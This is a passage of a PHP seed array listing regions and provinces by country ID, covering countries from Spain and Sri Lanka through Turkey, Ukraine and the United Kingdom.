'205', 'name' => 'lleida'],\n ['country_id' => '205', 'name' => 'lugo'],\n ['country_id' => '205', 'name' => 'madrid'],\n ['country_id' => '205', 'name' => 'malaga'],\n ['country_id' => '205', 'name' => 'melilla'],\n ['country_id' => '205', 'name' => 'murcia'],\n ['country_id' => '205', 'name' => 'navarra'],\n ['country_id' => '205', 'name' => 'ourense'],\n ['country_id' => '205', 'name' => 'pais vasco'],\n ['country_id' => '205', 'name' => 'palencia'],\n ['country_id' => '205', 'name' => 'pontevedra'],\n ['country_id' => '205', 'name' => 'salamanca'],\n ['country_id' => '205', 'name' => 'santa cruz de tenerife'],\n ['country_id' => '205', 'name' => 'segovia'],\n ['country_id' => '205', 'name' => 'sevilla'],\n ['country_id' => '205', 'name' => 'soria'],\n ['country_id' => '205', 'name' => 'tarragona'],\n ['country_id' => '205', 'name' => 'tenerife'],\n ['country_id' => '205', 'name' => 'teruel'],\n ['country_id' => '205', 'name' => 'toledo'],\n ['country_id' => '205', 'name' => 'valencia'],\n ['country_id' => '205', 'name' => 'valladolid'],\n ['country_id' => '205', 'name' => 'vizcaya'],\n ['country_id' => '205', 'name' => 'zamora'],\n ['country_id' => '205', 'name' => 'zaragoza'],\n ['country_id' => '206', 'name' => 'amparai'],\n ['country_id' => '206', 'name' => 'anuradhapuraya'],\n ['country_id' => '206', 'name' => 'badulla'],\n ['country_id' => '206', 'name' => 'boralesgamuwa'],\n ['country_id' => '206', 'name' => 'colombo'],\n ['country_id' => '206', 'name' => 'galla'],\n ['country_id' => '206', 'name' => 'gampaha'],\n ['country_id' => '206', 'name' => 'hambantota'],\n ['country_id' => '206', 'name' => 'kalatura'],\n ['country_id' => '206', 'name' => 'kegalla'],\n ['country_id' => '206', 'name' => 'kilinochchi'],\n ['country_id' => '206', 'name' => 'kurunegala'],\n ['country_id' => '206', 'name' => 'madakalpuwa'],\n ['country_id' => '206', 'name' => 'maha nuwara'],\n ['country_id' => '206', 'name' => 'malwana'],\n ['country_id' => '206', 'name' => 'mannarama'],\n ['country_id' => '206', 'name' => 'matale'],\n ['country_id' => '206', 'name' => 'matara'],\n ['country_id' => '206', 'name' => 'monaragala'],\n ['country_id' => '206', 'name' => 'mullaitivu'],\n ['country_id' => '206', 'name' => 'north eastern province'],\n ['country_id' => '206', 'name' => 'north western province'],\n ['country_id' => '206', 'name' => 'nuwara eliya'],\n ['country_id' => '206', 'name' => 'polonnaruwa'],\n ['country_id' => '206', 'name' => 'puttalama'],\n ['country_id' => '206', 'name' => 'ratnapuraya'],\n ['country_id' => '206', 'name' => 'southern province'],\n ['country_id' => '206', 'name' => 'tirikunamalaya'],\n ['country_id' => '206', 'name' => 'tuscany'],\n ['country_id' => '206', 'name' => 'vavuniyawa'],\n ['country_id' => '206', 'name' => 'western province'],\n ['country_id' => '206', 'name' => 'yapanaya'],\n ['country_id' => '206', 'name' => 'kadawatha'],\n ['country_id' => '207', 'name' => 'a\\'ali-an-nil'],\n ['country_id' => '207', 'name' => 'bahr-al-jabal'],\n ['country_id' => '207', 'name' => 'central equatoria'],\n ['country_id' => '207', 'name' => 'gharb bahr-al-ghazal'],\n ['country_id' => '207', 'name' => 'gharb darfur'],\n ['country_id' => '207', 'name' => 'gharb kurdufan'],\n ['country_id' => '207', 'name' => 'gharb-al-istiwa\\'iyah'],\n ['country_id' => '207', 'name' => 'janub darfur'],\n ['country_id' => '207', 'name' => 'janub kurdufan'],\n ['country_id' => '207', 'name' => 'junqali'],\n ['country_id' => '207', 'name' => 'kassala'],\n ['country_id' => '207', 'name' => 'nahr-an-nil'],\n ['country_id' => '207', 'name' => 'shamal bahr-al-ghazal'],\n ['country_id' => '207', 'name' => 'shamal darfur'],\n ['country_id' => '207', 'name' => 'shamal kurdufan'],\n ['country_id' => '207', 'name' => 'sharq-al-istiwa\\'iyah'],\n ['country_id' => '207', 'name' => 'sinnar'],\n ['country_id' => '207', 'name' => 'warab'],\n ['country_id' => '207', 'name' => 'wilayat al khartum'],\n ['country_id' => '207', 'name' => 'al-bahr-al-ahmar'],\n ['country_id' => '207', 'name' => 'al-buhayrat'],\n ['country_id' => '207', 'name' => 'al-jazirah'],\n ['country_id' => '207', 'name' => 'al-khartum'],\n ['country_id' => '207', 'name' => 'al-qadarif'],\n ['country_id' => '207', 'name' => 'al-wahdah'],\n ['country_id' => '207', 'name' => 'an-nil-al-abyad'],\n ['country_id' => '207', 'name' => 'an-nil-al-azraq'],\n ['country_id' => '207', 'name' => 'ash-shamaliyah'],\n ['country_id' => '208', 'name' => 'brokopondo'],\n ['country_id' => '208', 'name' => 'commewijne'],\n ['country_id' => '208', 'name' => 'coronie'],\n ['country_id' => '208', 'name' => 'marowijne'],\n ['country_id' => '208', 'name' => 'nickerie'],\n ['country_id' => '208', 'name' => 'para'],\n ['country_id' => '208', 'name' => 'paramaribo'],\n ['country_id' => '208', 'name' => 'saramacca'],\n ['country_id' => '208', 'name' => 'wanica'],\n ['country_id' => '209', 'name' => 'svalbard'],\n ['country_id' => '210', 'name' => 'hhohho'],\n ['country_id' => '210', 'name' => 'lubombo'],\n ['country_id' => '210', 'name' => 'manzini'],\n ['country_id' => '210', 'name' => 'shiselweni'],\n ['country_id' => '211', 'name' => 'alvsborgs lan'],\n ['country_id' => '211', 'name' => 'angermanland'],\n ['country_id' => '211', 'name' => 'blekinge'],\n ['country_id' => '211', 'name' => 'bohuslan'],\n ['country_id' => '211', 'name' => 'dalarna'],\n ['country_id' => '211', 'name' => 'gavleborg'],\n ['country_id' => '211', 'name' => 'gaza'],\n ['country_id' => '211', 'name' => 'gotland'],\n ['country_id' => '211', 'name' => 'halland'],\n ['country_id' => '211', 'name' => 'jamtland'],\n ['country_id' => '211', 'name' => 'jonkoping'],\n ['country_id' => '211', 'name' => 'kalmar'],\n ['country_id' => '211', 'name' => 'kristianstads'],\n ['country_id' => '211', 'name' => 'kronoberg'],\n ['country_id' => '211', 'name' => 'norrbotten'],\n ['country_id' => '211', 'name' => 'orebro'],\n ['country_id' => '211', 'name' => 'ostergotland'],\n ['country_id' => '211', 'name' => 'saltsjo-boo'],\n ['country_id' => '211', 'name' => 'skane'],\n ['country_id' => '211', 'name' => 'smaland'],\n ['country_id' => '211', 'name' => 'sodermanland'],\n ['country_id' => '211', 'name' => 'stockholm'],\n ['country_id' => '211', 'name' => 'uppsala'],\n ['country_id' => '211', 'name' => 'varmland'],\n ['country_id' => '211', 'name' => 'vasterbotten'],\n ['country_id' => '211', 'name' => 'vastergotland'],\n ['country_id' => '211', 'name' => 'vasternorrland'],\n ['country_id' => '211', 'name' => 'vastmanland'],\n ['country_id' => '211', 'name' => 'vastra gotaland'],\n ['country_id' => '212', 'name' => 'aargau'],\n ['country_id' => '212', 'name' => 'appenzell inner-rhoden'],\n ['country_id' => '212', 'name' => 'appenzell-ausser rhoden'],\n ['country_id' => '212', 'name' => 'basel-landschaft'],\n ['country_id' => '212', 'name' => 'basel-stadt'],\n ['country_id' => '212', 'name' => 'bern'],\n ['country_id' => '212', 'name' => 'canton ticino'],\n ['country_id' => '212', 'name' => 'fribourg'],\n ['country_id' => '212', 'name' => 'geneve'],\n ['country_id' => '212', 'name' => 'glarus'],\n ['country_id' => '212', 'name' => 'graubunden'],\n ['country_id' => '212', 'name' => 'heerbrugg'],\n ['country_id' => '212', 'name' => 'jura'],\n ['country_id' => '212', 'name' => 'kanton aargau'],\n ['country_id' => '212', 'name' => 'luzern'],\n ['country_id' => '212', 'name' => 'morbio inferiore'],\n ['country_id' => '212', 'name' => 'muhen'],\n ['country_id' => '212', 'name' => 'neuchatel'],\n ['country_id' => '212', 'name' => 'nidwalden'],\n ['country_id' => '212', 'name' => 'obwalden'],\n ['country_id' => '212', 'name' => 'sankt gallen'],\n ['country_id' => '212', 'name' => 'schaffhausen'],\n ['country_id' => '212', 'name' => 'schwyz'],\n ['country_id' => '212', 'name' => 'solothurn'],\n ['country_id' => '212', 'name' => 'thurgau'],\n ['country_id' => '212', 'name' => 'ticino'],\n ['country_id' => '212', 'name' => 'uri'],\n ['country_id' => '212', 'name' => 'valais'],\n ['country_id' => '212', 'name' => 'vaud'],\n ['country_id' => '212', 'name' => 'vauffelin'],\n ['country_id' => '212', 'name' => 'zug'],\n ['country_id' => '212', 'name' => 'zurich'],\n ['country_id' => '213', 'name' => 'aleppo'],\n ['country_id' => '213', 'name' => 'dar\\'a'],\n ['country_id' => '213', 'name' => 'dayr-az-zawr'],\n ['country_id' => '213', 'name' => 'dimashq'],\n ['country_id' => '213', 'name' => 'halab'],\n ['country_id' => '213', 'name' => 'hamah'],\n ['country_id' => '213', 'name' => 'hims'],\n ['country_id' => '213', 'name' => 'idlib'],\n ['country_id' => '213', 'name' => 'madinat dimashq'],\n ['country_id' => '213', 'name' => 'tartus'],\n ['country_id' => '213', 'name' => 'al-hasakah'],\n ['country_id' => '213', 'name' => 'al-ladhiqiyah'],\n ['country_id' => '213', 'name' => 'al-qunaytirah'],\n ['country_id' => '213', 'name' => 'ar-raqqah'],\n ['country_id' => '213', 'name' => 'as-suwayda'],\n ['country_id' => '214', 'name' => 'changhwa'],\n ['country_id' => '214', 'name' => 'chiayi hsien'],\n ['country_id' => '214', 'name' => 'chiayi shih'],\n ['country_id' => '214', 'name' => 'eastern taipei'],\n ['country_id' => '214', 'name' => 'hsinchu hsien'],\n ['country_id' => '214', 'name' => 'hsinchu shih'],\n ['country_id' => '214', 'name' => 'hualien'],\n ['country_id' => '214', 'name' => 'ilan'],\n ['country_id' => '214', 'name' => 'kaohsiung hsien'],\n ['country_id' => '214', 'name' => 'kaohsiung shih'],\n ['country_id' => '214', 'name' => 'keelung shih'],\n ['country_id' => '214', 'name' => 'kinmen'],\n ['country_id' => '214', 'name' => 'miaoli'],\n ['country_id' => '214', 'name' => 'nantou'],\n ['country_id' => '214', 'name' => 'northern taiwan'],\n ['country_id' => '214', 'name' => 'penghu'],\n ['country_id' => '214', 'name' => 'pingtung'],\n ['country_id' => '214', 'name' => 'taichung'],\n ['country_id' => '214', 'name' => 'taichung hsien'],\n ['country_id' => '214', 'name' => 'taichung shih'],\n ['country_id' => '214', 'name' => 'tainan hsien'],\n ['country_id' => '214', 'name' => 'tainan shih'],\n ['country_id' => '214', 'name' => 'taipei hsien'],\n ['country_id' => '214', 'name' => 'taipei shih / taipei hsien'],\n ['country_id' => '214', 'name' => 'taitung'],\n ['country_id' => '214', 'name' => 'taoyuan'],\n ['country_id' => '214', 'name' => 'yilan'],\n ['country_id' => '214', 'name' => 'yun-lin hsien'],\n ['country_id' => '214', 'name' => 'yunlin'],\n ['country_id' => '215', 'name' => 'dushanbe'],\n ['country_id' => '215', 'name' => 'gorno-badakhshan'],\n ['country_id' => '215', 'name' => 'karotegin'],\n ['country_id' => '215', 'name' => 'khatlon'],\n ['country_id' => '215', 'name' => 'sughd'],\n ['country_id' => '216', 'name' => 'arusha'],\n ['country_id' => '216', 'name' => 'dar es salaam'],\n ['country_id' => '216', 'name' => 'dodoma'],\n ['country_id' => '216', 'name' => 'iringa'],\n ['country_id' => '216', 'name' => 'kagera'],\n ['country_id' => '216', 'name' => 'kigoma'],\n ['country_id' => '216', 'name' => 'kilimanjaro'],\n ['country_id' => '216', 'name' => 'lindi'],\n ['country_id' => '216', 'name' => 'mara'],\n ['country_id' => '216', 'name' => 'mbeya'],\n ['country_id' => '216', 'name' => 'morogoro'],\n ['country_id' => '216', 'name' => 'mtwara'],\n ['country_id' => '216', 'name' => 'mwanza'],\n ['country_id' => '216', 'name' => 'pwani'],\n ['country_id' => '216', 'name' => 'rukwa'],\n ['country_id' => '216', 'name' => 'ruvuma'],\n ['country_id' => '216', 'name' => 'shinyanga'],\n ['country_id' => '216', 'name' => 'singida'],\n ['country_id' => '216', 'name' => 'tabora'],\n ['country_id' => '216', 'name' => 'tanga'],\n ['country_id' => '216', 'name' => 'zanzibar and pemba'],\n ['country_id' => '217', 'name' => 'amnat charoen'],\n ['country_id' => '217', 'name' => 'ang thong'],\n ['country_id' => '217', 'name' => 'bangkok'],\n ['country_id' => '217', 'name' => 'buri ram'],\n ['country_id' => '217', 'name' => 'chachoengsao'],\n ['country_id' => '217', 'name' => 'chai nat'],\n ['country_id' => '217', 'name' => 'chaiyaphum'],\n ['country_id' => '217', 'name' => 'changwat chaiyaphum'],\n ['country_id' => '217', 'name' => 'chanthaburi'],\n ['country_id' => '217', 'name' => 'chiang mai'],\n ['country_id' => '217', 'name' => 'chiang rai'],\n ['country_id' => '217', 'name' => 'chon buri'],\n ['country_id' => '217', 'name' => 'chumphon'],\n ['country_id' => '217', 'name' => 'kalasin'],\n ['country_id' => '217', 'name' => 'kamphaeng phet'],\n ['country_id' => '217', 'name' => 'kanchanaburi'],\n ['country_id' => '217', 'name' => 'khon kaen'],\n ['country_id' => '217', 'name' => 'krabi'],\n ['country_id' => '217', 'name' => 'krung thep'],\n ['country_id' => '217', 'name' => 'lampang'],\n ['country_id' => '217', 'name' => 'lamphun'],\n ['country_id' => '217', 'name' => 'loei'],\n ['country_id' => '217', 'name' => 'lop buri'],\n ['country_id' => '217', 'name' => 'mae hong son'],\n ['country_id' => '217', 'name' => 'maha sarakham'],\n ['country_id' => '217', 'name' => 'mukdahan'],\n ['country_id' => '217', 'name' => 'nakhon nayok'],\n ['country_id' => '217', 'name' => 'nakhon pathom'],\n ['country_id' => '217', 'name' => 'nakhon phanom'],\n ['country_id' => '217', 'name' => 'nakhon ratchasima'],\n ['country_id' => '217', 'name' => 'nakhon sawan'],\n ['country_id' => '217', 'name' => 'nakhon si thammarat'],\n ['country_id' => '217', 'name' => 'nan'],\n ['country_id' => '217', 'name' => 'narathiwat'],\n ['country_id' => '217', 'name' => 'nong bua lam phu'],\n ['country_id' => '217', 'name' => 'nong khai'],\n ['country_id' => '217', 'name' => 'nonthaburi'],\n ['country_id' => '217', 'name' => 'pathum thani'],\n ['country_id' => '217', 'name' => 'pattani'],\n ['country_id' => '217', 'name' => 'phangnga'],\n ['country_id' => '217', 'name' => 'phatthalung'],\n ['country_id' => '217', 'name' => 'phayao'],\n ['country_id' => '217', 'name' => 'phetchabun'],\n ['country_id' => '217', 'name' => 'phetchaburi'],\n ['country_id' => '217', 'name' => 'phichit'],\n ['country_id' => '217', 'name' => 'phitsanulok'],\n ['country_id' => '217', 'name' => 'phra nakhon si ayutthaya'],\n ['country_id' => '217', 'name' => 'phrae'],\n ['country_id' => '217', 'name' => 'phuket'],\n ['country_id' => '217', 'name' => 'prachin buri'],\n ['country_id' => '217', 'name' => 'prachuap khiri khan'],\n ['country_id' => '217', 'name' => 'ranong'],\n ['country_id' => '217', 'name' => 'ratchaburi'],\n ['country_id' => '217', 'name' => 'rayong'],\n ['country_id' => '217', 'name' => 'roi et'],\n ['country_id' => '217', 'name' => 'sa kaeo'],\n ['country_id' => '217', 'name' => 'sakon nakhon'],\n ['country_id' => '217', 'name' => 'samut prakan'],\n ['country_id' => '217', 'name' => 'samut sakhon'],\n ['country_id' => '217', 'name' => 'samut songkhran'],\n ['country_id' => '217', 'name' => 'saraburi'],\n ['country_id' => '217', 'name' => 'satun'],\n ['country_id' => '217', 'name' => 'si sa ket'],\n ['country_id' => '217', 'name' => 'sing buri'],\n ['country_id' => '217', 'name' => 'songkhla'],\n ['country_id' => '217', 'name' => 'sukhothai'],\n ['country_id' => '217', 'name' => 'suphan buri'],\n ['country_id' => '217', 'name' => 'surat thani'],\n ['country_id' => '217', 'name' => 'surin'],\n ['country_id' => '217', 'name' => 'tak'],\n ['country_id' => '217', 'name' => 'trang'],\n ['country_id' => '217', 'name' => 'trat'],\n ['country_id' => '217', 'name' => 'ubon ratchathani'],\n ['country_id' => '217', 'name' => 'udon thani'],\n ['country_id' => '217', 'name' => 'uthai thani'],\n ['country_id' => '217', 'name' => 'uttaradit'],\n ['country_id' => '217', 'name' => 'yala'],\n ['country_id' => '217', 'name' => 'yasothon'],\n ['country_id' => '218', 'name' => 'centre'],\n ['country_id' => '218', 'name' => 'kara'],\n ['country_id' => '218', 'name' => 'maritime'],\n ['country_id' => '218', 'name' => 'plateaux'],\n ['country_id' => '218', 'name' => 'savanes'],\n ['country_id' => '219', 'name' => 'atafu'],\n ['country_id' => '219', 'name' => 'fakaofo'],\n ['country_id' => '219', 'name' => 'nukunonu'],\n ['country_id' => '220', 'name' => 'eua'],\n ['country_id' => '220', 'name' => 'ha\\'apai'],\n ['country_id' => '220', 'name' => 'niuas'],\n ['country_id' => '220', 'name' => 'tongatapu'],\n ['country_id' => '220', 'name' => 'vava\\'u'],\n ['country_id' => '221', 'name' => 'arima-tunapuna-piarco'],\n ['country_id' => '221', 'name' => 'caroni'],\n ['country_id' => '221', 'name' => 'chaguanas'],\n ['country_id' => '221', 'name' => 'couva-tabaquite-talparo'],\n ['country_id' => '221', 'name' => 'diego martin'],\n ['country_id' => '221', 'name' => 'glencoe'],\n ['country_id' => '221', 'name' => 'penal debe'],\n ['country_id' => '221', 'name' => 'point fortin'],\n ['country_id' => '221', 'name' => 'port of spain'],\n ['country_id' => '221', 'name' => 'princes town'],\n ['country_id' => '221', 'name' => 'saint george'],\n ['country_id' => '221', 'name' => 'san fernando'],\n ['country_id' => '221', 'name' => 'san juan'],\n ['country_id' => '221', 'name' => 'sangre grande'],\n ['country_id' => '221', 'name' => 'siparia'],\n ['country_id' => '221', 'name' => 'tobago'],\n ['country_id' => '222', 'name' => 'aryanah'],\n ['country_id' => '222', 'name' => 'bajah'],\n ['country_id' => '222', 'name' => 'bin \\'arus'],\n ['country_id' => '222', 'name' => 'binzart'],\n ['country_id' => '222', 'name' => 'gouvernorat de ariana'],\n ['country_id' => '222', 'name' => 'gouvernorat de nabeul'],\n ['country_id' => '222', 'name' => 'gouvernorat de sousse'],\n ['country_id' => '222', 'name' => 'hammamet yasmine'],\n ['country_id' => '222', 'name' => 'jundubah'],\n ['country_id' => '222', 'name' => 'madaniyin'],\n ['country_id' => '222', 'name' => 'manubah'],\n ['country_id' => '222', 'name' => 'monastir'],\n ['country_id' => '222', 'name' => 'nabul'],\n ['country_id' => '222', 'name' => 'qabis'],\n ['country_id' => '222', 'name' => 'qafsah'],\n ['country_id' => '222', 'name' => 'qibili'],\n ['country_id' => '222', 'name' => 'safaqis'],\n ['country_id' => '222', 'name' => 'sfax'],\n ['country_id' => '222', 'name' => 'sidi bu zayd'],\n ['country_id' => '222', 'name' => 'silyanah'],\n ['country_id' => '222', 'name' => 'susah'],\n ['country_id' => '222', 'name' => 'tatawin'],\n ['country_id' => '222', 'name' => 'tawzar'],\n ['country_id' => '222', 'name' => 'tunis'],\n ['country_id' => '222', 'name' => 'zaghwan'],\n ['country_id' => '222', 'name' => 'al-kaf'],\n ['country_id' => '222', 'name' => 'al-mahdiyah'],\n ['country_id' => '222', 'name' => 'al-munastir'],\n ['country_id' => '222', 'name' => 'al-qasrayn'],\n ['country_id' => '222', 'name' => 'al-qayrawan'],\n ['country_id' => '223', 'name' => 'adana'],\n ['country_id' => '223', 'name' => 'adiyaman'],\n ['country_id' => '223', 'name' => 'afyon'],\n ['country_id' => '223', 'name' => 'agri'],\n ['country_id' => '223', 'name' => 'aksaray'],\n ['country_id' => '223', 'name' => 'amasya'],\n ['country_id' => '223', 'name' => 'ankara'],\n ['country_id' => '223', 'name' => 'antalya'],\n ['country_id' => '223', 'name' => 'ardahan'],\n ['country_id' => '223', 'name' => 'artvin'],\n ['country_id' => '223', 'name' => 'aydin'],\n ['country_id' => '223', 'name' => 'balikesir'],\n ['country_id' => '223', 'name' => 'bartin'],\n ['country_id' => '223', 'name' => 'batman'],\n ['country_id' => '223', 'name' => 'bayburt'],\n ['country_id' => '223', 'name' => 'bilecik'],\n ['country_id' => '223', 'name' => 'bingol'],\n ['country_id' => '223', 'name' => 'bitlis'],\n ['country_id' => '223', 'name' => 'bolu'],\n ['country_id' => '223', 'name' => 'burdur'],\n ['country_id' => '223', 'name' => 'bursa'],\n ['country_id' => '223', 'name' => 'canakkale'],\n ['country_id' => '223', 'name' => 'cankiri'],\n ['country_id' => '223', 'name' => 'corum'],\n ['country_id' => '223', 'name' => 'denizli'],\n ['country_id' => '223', 'name' => 'diyarbakir'],\n ['country_id' => '223', 'name' => 'duzce'],\n ['country_id' => '223', 'name' => 'edirne'],\n ['country_id' => '223', 'name' => 'elazig'],\n ['country_id' => '223', 'name' => 'erzincan'],\n ['country_id' => '223', 'name' => 'erzurum'],\n ['country_id' => '223', 'name' => 'eskisehir'],\n ['country_id' => '223', 'name' => 'gaziantep'],\n ['country_id' => '223', 'name' => 'giresun'],\n ['country_id' => '223', 'name' => 'gumushane'],\n ['country_id' => '223', 'name' => 'hakkari'],\n ['country_id' => '223', 'name' => 'hatay'],\n ['country_id' => '223', 'name' => 'icel'],\n ['country_id' => '223', 'name' => 'igdir'],\n ['country_id' => '223', 'name' => 'isparta'],\n ['country_id' => '223', 'name' => 'istanbul'],\n ['country_id' => '223', 'name' => 'izmir'],\n ['country_id' => '223', 'name' => 'kahramanmaras'],\n ['country_id' => '223', 'name' => 'karabuk'],\n ['country_id' => '223', 'name' => 'karaman'],\n ['country_id' => '223', 'name' => 'kars'],\n ['country_id' => '223', 'name' => 'karsiyaka'],\n ['country_id' => '223', 'name' => 'kastamonu'],\n ['country_id' => '223', 'name' => 'kayseri'],\n ['country_id' => '223', 'name' => 'kilis'],\n ['country_id' => '223', 'name' => 'kirikkale'],\n ['country_id' => '223', 'name' => 'kirklareli'],\n ['country_id' => '223', 'name' => 'kirsehir'],\n ['country_id' => '223', 'name' => 'kocaeli'],\n ['country_id' => '223', 'name' => 'konya'],\n ['country_id' => '223', 'name' => 'kutahya'],\n ['country_id' => '223', 'name' => 'lefkosa'],\n ['country_id' => '223', 'name' => 'malatya'],\n ['country_id' => '223', 'name' => 'manisa'],\n ['country_id' => '223', 'name' => 'mardin'],\n ['country_id' => '223', 'name' => 'mugla'],\n ['country_id' => '223', 'name' => 'mus'],\n ['country_id' => '223', 'name' => 'nevsehir'],\n ['country_id' => '223', 'name' => 'nigde'],\n ['country_id' => '223', 'name' => 'ordu'],\n ['country_id' => '223', 'name' => 'osmaniye'],\n ['country_id' => '223', 'name' => 'rize'],\n ['country_id' => '223', 'name' => 'sakarya'],\n ['country_id' => '223', 'name' => 'samsun'],\n ['country_id' => '223', 'name' => 'sanliurfa'],\n ['country_id' => '223', 'name' => 'siirt'],\n ['country_id' => '223', 'name' => 'sinop'],\n ['country_id' => '223', 'name' => 'sirnak'],\n ['country_id' => '223', 'name' => 'sivas'],\n ['country_id' => '223', 'name' => 'tekirdag'],\n ['country_id' => '223', 'name' => 'tokat'],\n ['country_id' => '223', 'name' => 'trabzon'],\n ['country_id' => '223', 'name' => 'tunceli'],\n ['country_id' => '223', 'name' => 'usak'],\n ['country_id' => '223', 'name' => 'van'],\n ['country_id' => '223', 'name' => 'yalova'],\n ['country_id' => '223', 'name' => 'yozgat'],\n ['country_id' => '223', 'name' => 'zonguldak'],\n ['country_id' => '224', 'name' => 'ahal'],\n ['country_id' => '224', 'name' => 'asgabat'],\n ['country_id' => '224', 'name' => 'balkan'],\n ['country_id' => '224', 'name' => 'dasoguz'],\n ['country_id' => '224', 'name' => 'lebap'],\n ['country_id' => '224', 'name' => 'mari'],\n ['country_id' => '225', 'name' => 'grand turk'],\n ['country_id' => '225', 'name' => 'south caicos and east caicos'],\n ['country_id' => '226', 'name' => 'funafuti'],\n ['country_id' => '226', 'name' => 'nanumanga'],\n ['country_id' => '226', 'name' => 'nanumea'],\n ['country_id' => '226', 'name' => 'niutao'],\n ['country_id' => '226', 'name' => 'nui'],\n ['country_id' => '226', 'name' => 'nukufetau'],\n ['country_id' => '226', 'name' => 'nukulaelae'],\n ['country_id' => '226', 'name' => 'vaitupu'],\n ['country_id' => '227', 'name' => 'central'],\n ['country_id' => '227', 'name' => 'eastern'],\n ['country_id' => '227', 'name' => 'northern'],\n ['country_id' => '227', 'name' => 'western'],\n ['country_id' => '228', 'name' => 'cherkas\\'ka'],\n ['country_id' => '228', 'name' => 'chernihivs\\'ka'],\n ['country_id' => '228', 'name' => 'chernivets\\'ka'],\n ['country_id' => '228', 'name' => 'crimea'],\n ['country_id' => '228', 'name' => 'dnipropetrovska'],\n ['country_id' => '228', 'name' => 'donets\\'ka'],\n ['country_id' => '228', 'name' => 'ivano-frankivs\\'ka'],\n ['country_id' => '228', 'name' => 'kharkiv'],\n ['country_id' => '228', 'name' => 'kharkov'],\n ['country_id' => '228', 'name' => 'khersonska'],\n ['country_id' => '228', 'name' => 'khmel\\'nyts\\'ka'],\n ['country_id' => '228', 'name' => 'kirovohrad'],\n ['country_id' => '228', 'name' => 'krym'],\n ['country_id' => '228', 'name' => 'kyyiv'],\n ['country_id' => '228', 'name' => 'kyyivs\\'ka'],\n ['country_id' => '228', 'name' => 'l\\'vivs\\'ka'],\n ['country_id' => '228', 'name' => 'luhans\\'ka'],\n ['country_id' => '228', 'name' => 'mykolayivs\\'ka'],\n ['country_id' => '228', 'name' => 'odes\\'ka'],\n ['country_id' => '228', 'name' => 'odessa'],\n ['country_id' => '228', 'name' => 'poltavs\\'ka'],\n ['country_id' => '228', 'name' => 'rivnens\\'ka'],\n ['country_id' => '228', 'name' => 'sevastopol\\''],\n ['country_id' => '228', 'name' => 'sums\\'ka'],\n ['country_id' => '228', 'name' => 'ternopil\\'s\\'ka'],\n ['country_id' => '228', 'name' => 'volyns\\'ka'],\n ['country_id' => '228', 'name' => 'vynnyts\\'ka'],\n ['country_id' => '228', 'name' => 'zakarpats\\'ka'],\n ['country_id' => '228', 'name' => 'zaporizhia'],\n ['country_id' => '228', 'name' => 'zhytomyrs\\'ka'],\n ['country_id' => '229', 'name' => 'abu zabi'],\n ['country_id' => '229', 'name' => 'ajman'],\n ['country_id' => '229', 'name' => 'dubai'],\n ['country_id' => '229', 'name' => 'ras al-khaymah'],\n ['country_id' => '229', 'name' => 'sharjah'],\n ['country_id' => '229', 'name' => 'sharjha'],\n ['country_id' => '229', 'name' => 'umm al qaywayn'],\n ['country_id' => '229', 'name' => 'al-fujayrah'],\n ['country_id' => '229', 'name' => 'ash-shariqah'],\n ['country_id' => '230', 'name' => 'aberdeen'],\n ['country_id' => '230', 'name' => 'aberdeenshire'],\n ['country_id' => '230', 'name' => 'argyll'],\n ['country_id' => '230', 'name' => 'armagh'],\n ['country_id' => '230', 'name' => 'bedfordshire'],\n ['country_id' => '230', 'name' => 'belfast'],\n ['country_id' => '230', 'name' => 'berkshire'],\n ['country_id' => '230', 'name' => 'birmingham'],\n ['country_id' => '230', 'name' => 'brechin'],\n ['country_id' => '230', 'name' => 'bridgnorth'],\n ['country_id' => '230', 'name' => 'bristol'],\n ['country_id' => '230', 'name' => 'buckinghamshire'],\n ['country_id' => '230', 'name' => 'cambridge'],\n ['country_id' => '230', 'name' => 'cambridgeshire'],\n ['country_id' => '230', 'name' => 'channel islands'],\n ['country_id' => '230', 'name' => 'cheshire'],\n ['country_id' => '230', 'name' => 'cleveland'],\n ['country_id' => '230', 'name' => 'co fermanagh'],\n ['country_id' => '230', 'name' => 'conwy'],\n ['country_id' => '230', 'name' => 'cornwall'],\n ['country_id' => '230', 'name' => 'coventry'],\n ['country_id' => '230', 'name' => 'craven arms'],\n ['country_id' => '230', 'name' => 'cumbria'],\n ['country_id' => '230', 'name' => 'denbighshire'],\n ['country_id' => '230', 'name' => 'derby'],\n ['country_id' => '230', 'name' => 'derbyshire'],\n ['country_id' => '230', 'name' => 'devon'],\n ['country_id' => '230', 'name' => 'dial code dungannon'],\n ['country_id' => '230', 'name' => 'didcot'],\n ['country_id' => '230', 'name' => 'dorset'],\n ['country_id' => '230', 'name' => 'dunbartonshire'],\n ['country_id' => '230', 'name' => 'durham'],\n ['country_id' => '230', 'name' => 'east dunbartonshire'],\n ['country_id' => '230', 'name' => 'east lothian'],\n ['country_id' => '230', 'name' => 'east midlands'],\n ['country_id' => '230', 'name' => 'east sussex'],\n ['country_id' => '230', 'name' => 'east yorkshire'],\n ['country_id' => '230', 'name' => 'england'],\n ['country_id' => '230', 'name' => 'essex'],\n ['country_id' => '230', 'name' => 'fermanagh'],\n ['country_id' => '230', 'name' => 'fife'],\n ['country_id' => '230', 'name' => 'flintshire'],\n ['country_id' => '230', 'name' => 'fulham'],\n ['country_id' => '230', 'name' => 'gainsborough'],\n ['country_id' => '230', 'name' => 'glocestershire'],\n ['country_id' => '230', 'name' => 'gwent'],\n ['country_id' => '230', 'name' => 'hampshire'],\n ['country_id' => '230', 'name' => 'hants'],\n ['country_id' => '230', 'name' => 'herefordshire'],\n ['country_id' => '230', 'name' => 'hertfordshire'],\n ['country_id' => '230', 'name' => 'ireland'],\n ['country_id' => '230', 'name' => 'isle of man'],\n ['country_id' => '230', 'name' => 'isle of wight'],\n ['country_id' => '230', 'name' => 'kenford'],\n ['country_id' => '230', 'name' => 'kent'],\n ['country_id' => '230', 'name' => 'kilmarnock'],\n ['country_id' => '230', 'name' => 'lanarkshire'],\n ['country_id' => '230', 'name' => 'lancashire'],\n ['country_id' => '230', 'name' => 'leicestershire'],\n ['country_id' => '230', 'name' => 'lincolnshire'],\n ['country_id' => '230', 'name' => 'llanymynech'],\n ['country_id' => '230', 'name' => 'london'],\n ['country_id' => '230', 'name' => 'ludlow'],\n ['country_id' => '230', 'name' => 'manchester'],\n ['country_id' => '230', 'name' => 'mayfair'],\n ['country_id' => '230', 'name' => 'merseyside'],\n ['country_id' => '230', 'name' => 'mid glamorgan'],\n ['country_id' => '230', 'name' => 'middlesex'],\n ['country_id' => '230', 'name' => 'mildenhall'],\n ['country_id' => '230', 'name' => 'monmouthshire'],\n ['country_id' => '230', 'name' => 'newton stewart'],\n ['country_id' => '230', 'name' => 'norfolk'],\n 